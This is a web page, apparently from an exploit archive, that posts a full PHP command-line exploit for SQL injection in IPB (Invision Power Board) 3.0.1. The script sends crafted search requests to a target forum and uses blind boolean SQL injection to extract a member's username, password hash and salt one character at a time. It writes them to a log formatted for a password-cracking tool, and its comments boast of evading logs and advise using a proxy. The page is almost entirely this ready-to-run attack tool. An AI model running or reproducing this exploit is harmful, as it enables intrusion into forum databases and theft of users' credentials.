Home / os / win7

IPB 3.0.1 sql injection exploit

Posted on 13 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>IPB 3.0.1 sql injection exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=============================== IPB 3.0.1 sql injection exploit =============================== &lt;?php error_reporting(E_ALL); /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// // IPB 3.0.1 sql injection exploit // Version 1.0 // written by Cryptovirus // http://de.crypt.in/ // 31. january 2010 // // FEATURES: // 1. Fetching algorithm optimized for speed // 2. Attack goes through $_POST, so no suspicious logs // 3. Pretesting saves time if IPB is not vulnerable // 4. curl extension autoloading // 5. log format compatible with passwordspro // // NB! This exploit is meant to be run as php CLI! // http://www.php.net/features.commandline /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// //===================================================================== $cli = php_sapi_name() === 'cli'; //===================================================================== // Die, if executed from webserver //===================================================================== if(!$cli) { echo &quot;&lt;html&gt;&lt;head&gt;&lt;title&gt;Attention!&lt;/title&gt;&lt;/head&gt; &quot;; echo &quot;&lt;body&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt; &quot;; echo &quot;&lt;h1&gt;Error!&lt;/h1&gt; &quot;; echo &quot;This exploit is meant to be used as php CLI script!&lt;br /&gt; &quot;; echo &quot;More information:&lt;br /&gt; &quot;; echo &quot;&lt;a href=&quot;http://www.google.com/search?hl=en&amp;q=php+cli+windows&quot; target=&quot;_blank&quot;&gt;http://www.google.com/search?hl=en&amp;q=php+cli+windows&lt;/a&gt;&lt;br /&gt; &quot;; echo &quot;This script will not run through a webserver.&lt;br /&gt; &quot;; echo &quot;&lt;/center&gt;&lt;/body&gt;&lt;/html&gt; &quot;; exit; } //===================================================================== // Print the awesome de.crypt.in logo //===================================================================== echo &quot; _ _ _ &quot;; echo &quot; __| | ___ ___ _ __ _ _ _ __ | |_ (_)_ __ &quot;; echo &quot; / _` |/ _ / __| '__| | | | '_ | __| | | '_ &quot;; echo &quot; | (_| | __/| (__| | | |_| | |_) | |_ _| | | | |&quot;; echo &quot; \__,_|\___(_)___|_| \__, | .__/ \__(_)_|_| |_|&quot;; echo &quot; |___/|_| &quot;; //===================================================================== // Check if all command line arguments were passed //===================================================================== if(!isset($argv[1])||!isset($argv[2])||!isset($argv[3])){ echo &quot;Usage: php &quot;.$_SERVER['PHP_SELF'].&quot; &lt;target&gt; &lt;userid&gt; &lt;option&gt; [login] [password] &quot;; echo &quot; &quot;; echo &quot;NOTE: Login and password are optional, use for forums that require registration. &quot;; echo &quot;Options: 1 - Fetch username, 2 - Fetch password hash &quot;; echo &quot;Example: php &quot;.$_SERVER['PHP_SELF'].&quot; http://ipb.com/board/ 1 1 foo bar &quot;; die; } //===================================================================== // Set some important variables... //===================================================================== $topicname = ''; $url = $argv[1]; $chosen_id = $argv[2]; $ch_option = $argv[3]; if(isset($argv[4])){ if(isset($argv[5])){ $user_login = $argv[4]; $user_pass = $argv[5]; } else{ echo &quot;Error: Password not specified with username &quot;; die; } } # Proxy settings # Be sure to use proxy :) //$proxy_ip_port = '127.0.0.1:8118'; //$proxy_user_password = 'someuser:somepassword'; $outfile = './ipb_log.txt'; //Log file if(!extension_loaded('curl')) { if(!dl('php_curl.dll')) { die(&quot;Curl extension not loaded! Fatal exit ... &quot;); } else { echo &quot;Curl loading success &quot;; } } //===================================================================== xecho(&quot;Target: $url &quot;); xecho(&quot;Testing target URL ... &quot;); test_target_url(); xecho(&quot;Target URL seems to be valid &quot;); add_line(&quot;==========================================&quot;); add_line(&quot;Target: $url&quot;); if(isset($argv[4])){ login_to_forum($argv[4], $argv[5]); } $i = $chosen_id; echo &quot;Fetching topics from ID $i &quot;; if(!fetch_target_id($i)) { echo &quot;No topics found. &quot;; fwrite(STDOUT, &quot;Last ditch effort, enter topic: &quot;); $topicname = trim(fgets(STDIN)); } else echo &quot;Topic found! Hacktime. &quot;; // Check chosen option and proceed accordingly add_line(&quot;------------------------------------------&quot;); if($ch_option == 2){ $hash = get_hash($i); $salt = get_salt($i); $line = &quot;$i:$hash:$salt&quot;; add_line($line); xecho(&quot; ------------------------------------------ &quot;); xecho(&quot;User ID: $i &quot;); xecho(&quot;Hash: $hash &quot;); xecho(&quot;Salt: $salt&quot;); xecho(&quot; ------------------------------------------ &quot;); } else if($ch_option == 1){ $uname = get_user($i); $line = &quot;The username for id $i is $uname&quot;; add_line($line); xecho(&quot;$uname&quot;); } xecho(&quot; Questions and feedback - http://de.crypt.in/ &quot;); die(&quot; &quot;); ////////////////////////////////////////////////////////////////////// function login_to_forum($user, $pass) { global $url; $post = 'app=core&amp;module=global&amp;section=login&amp;do=process&amp;username='.$user.'&amp;password='.$pass.'&amp;rememberMe=1'; $buff = trim(make_post($url, $post, '', $url)); if(strpos($buff,'The login was successful!')&gt;0){ xecho(&quot;Logged in. &quot;); } else{ xecho(&quot;Error: Unable to login.&quot;); die; } } ////////////////////////////////////////////////////////////////////// function test_target_url() { global $url; $post = 'app=core&amp;module=search&amp;section=search&amp;do=quick_search&amp;search_app=core&amp;fromsearch=1&amp;search_filter_app%5Ball%5D=1&amp;content_title_only=1&amp;search_term=test%2527'; $buff = trim(make_post($url, $post, '', $url)); if(strpos($buff,'Moved Permanently')&gt;0) { die('Ivalid. Try adding trailing slash to url. Exiting ...'); } if(strpos($buff,'No results found for')&gt;0) { die('Target is patched? Exiting ...'); } } ////////////////////////////////////////////////////////////////////// function fetch_target_id($id) { global $url, $topicname; $post = 'app=core&amp;module=search&amp;do=user_posts&amp;mid='.$id.'&amp;view_by_title=1&amp;search_filter_app%5Bforums%5D=1'; $buff = trim(make_post($url, $post, '', $url)); if(strpos($buff,'View result')&gt;0){ $location = strpos($buff,'View result'); $start = strpos($buff,'&gt;',$location)+1; $end = strpos($buff,'&lt;/a&gt;',$start); $topicname = substr($buff,$start,($end-$start)); return true; } else return false; } /////////////////////////////////////////////////////////////////////// function get_salt($id) { $len = 5; $out = ''; xecho(&quot;Finding salt ... &quot;); for($i = 1; $i &lt; $len + 1; $i ++) { $ch = get_saltchar($i, $id); xecho(&quot;Got pos $i --&gt; $ch &quot;); $out .= &quot;$ch&quot;; xecho(&quot;Current salt: $out &quot;); } xecho(&quot; Final salt for ID $id: $out &quot;); return $out; } /////////////////////////////////////////////////////////////////////// function get_saltchar($pos, $id) { global $prefix; $char = ''; $min = 32; $max = 128; $pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_salt,'.$pos.',1))'; $curr = 0; while(1) { $area = $max - $min; if($area &lt; 2 ) { $post = $pattern . &quot;=$max&quot;; $eq = test_condition($post); if($eq) { $char = chr($max); } else { $char = chr($min); } break; } $half = intval(floor($area / 2)); $curr = $min + $half; $post = $pattern . '%253e' . $curr; $bigger = test_condition($post); if($bigger) { $min = $curr; } else { $max = $curr; } xecho(&quot;Current test: $curr-$max-$min &quot;); } return $char; } /////////////////////////////////////////////////////////////////////// function get_hash($id) { $len = 32; $out = ''; xecho(&quot;Finding hash ... &quot;); for($i = 1; $i &lt; $len + 1; $i ++) { $ch = get_hashchar($i, $id); xecho(&quot;Got pos $i --&gt; $ch &quot;); $out .= &quot;$ch&quot;; xecho(&quot;Current hash: $out &quot;); } xecho(&quot; Final hash for ID $id: $out &quot;); return $out; } /////////////////////////////////////////////////////////////////////// function get_hashchar($pos, $id) { global $prefix; $char = ''; $pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_hash,'.$pos.',1))'; // First let's determine, if it's number or letter $post = $pattern . '%253e57'; $letter = test_condition($post); if($letter) { $min = 97; $max = 102; xecho(&quot;Char to find is [a-f] &quot;); } else { $min = 48; $max = 57; xecho(&quot;Char to find is [0-9] &quot;); } $curr = 0; while(1) { $area = $max - $min; if($area &lt; 2 ) { $post = $pattern . &quot;=$max&quot;; $eq = test_condition($post); if($eq) { $char = chr($max); } else { $char = chr($min); } break; } $half = intval(floor($area / 2)); $curr = $min + $half; $post = $pattern . '%253e' . $curr; $bigger = test_condition($post); if($bigger) { $min = $curr; } else { $max = $curr; } xecho(&quot;Current test: $curr-$max-$min &quot;); } return $char; } /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// function get_user($id) { $len = 32; $out = ''; xecho(&quot;Finding username ... &quot;); for($i = 1; $i &lt; $len + 1; $i ++) { $ch = get_userchar($i, $id); xecho(&quot;Got pos $i --&gt; $ch &quot;); $out .= &quot;$ch&quot;; xecho(&quot;Current username: $out &quot;); } xecho(&quot; Final username for ID $id: $out &quot;); return $out; } /////////////////////////////////////////////////////////////////////// function get_userchar($pos, $id) { global $prefix; $char = ''; $pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.name,'.$pos.',1))'; // First let's determine, if it's number or letter $post = $pattern . '%253e57'; $letter = test_condition($post); if($letter) { $min = 65; $max = 122; xecho(&quot;Char to find is [a-f] &quot;); } else { $min = 48; $max = 57; xecho(&quot;Char to find is [0-9] &quot;); } $curr = 0; while(1) { $area = $max - $min; if($area &lt; 2 ) { $post = $pattern . &quot;=$max&quot;; $eq = test_condition($post); if($eq) { $char = chr($max); } else { $char = chr($min); } break; } $half = intval(floor($area / 2)); $curr = $min + $half; $post = $pattern . '%253e' . $curr; $bigger = test_condition($post); if($bigger) { $min = $curr; } else { $max = $curr; } xecho(&quot;Current test: $curr-$max-$min &quot;); } return $char; } /////////////////////////////////////////////////////////////////////// function test_condition($p) { global $url; global $topicname; $bret = false; $maxtry = 10; $try = 1; $pattern = 'app=core&amp;module=search&amp;section=search&amp;do=quick_search&amp;search_app=core&amp;fromsearch=1&amp;search_filter_app%%5Ball%%5D=1&amp;content_title_only=1&amp;search_term='.$topicname.'%%2527 IN BOOLEAN MODE) AND %s AND MATCH(t.title) AGAINST(%%2527'.$topicname; $post = sprintf($pattern, $p); while(1) { $buff = trim(make_post($url, $post, '', $url)); if(strpos($buff,'Your search for the term &lt;em&gt;&lt;strong&gt;')&gt;0) { $bret = true; break; } elseif(strpos($buff,'No results found for')&gt;0) { break; } elseif(strpos($buff, 'Driver Error&lt;/title&gt;') !== false) { die(&quot;Sql error! Wrong prefix? Exiting ... &quot;); } else { xecho(&quot;test_condition() - try $try - invalid return value ... &quot;); xecho(&quot;Will wait 30 seconds for flood control. Expect 2-3 tries. &quot;); xecho(&quot;This is going to take years... &quot;); sleep(10); $try ++; if($try &gt; $maxtry) { die(&quot;Too many tries - exiting ... &quot;); } else { xecho(&quot;Trying again - try $try ... &quot;); } } } return $bret; } /////////////////////////////////////////////////////////////////////// function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE) { $ch = curl_init(); $timeout = 120; curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)'); curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); curl_setopt ($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); if(!empty($GLOBALS['proxy_ip_port'])) { curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']); if(!empty($GLOBALS['proxy_user_password'])) { curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']); } } if(!empty($cookie)) { curl_setopt ($ch, CURLOPT_COOKIE, $cookie); } if(!empty($referer)) { curl_setopt ($ch, CURLOPT_REFERER, $referer); } if($headers === TRUE) { curl_setopt ($ch, CURLOPT_HEADER, TRUE); } else { curl_setopt ($ch, CURLOPT_HEADER, FALSE); } $fc = curl_exec($ch); curl_close($ch); return $fc; } /////////////////////////////////////////////////////////////////////// function add_line($line) { global $outfile; $line .= &quot; &quot;; $fh = fopen($outfile, 'ab'); fwrite($fh, $line); fclose($fh); } /////////////////////////////////////////////////////////////////////// function xecho($line) { if($GLOBALS['cli']) { echo &quot;$line&quot;; } else { $line = nl2br(htmlspecialchars($line)); echo &quot;$line&quot;; } } /////////////////////////////////////////////////////////////////////// ?&gt; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-13]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP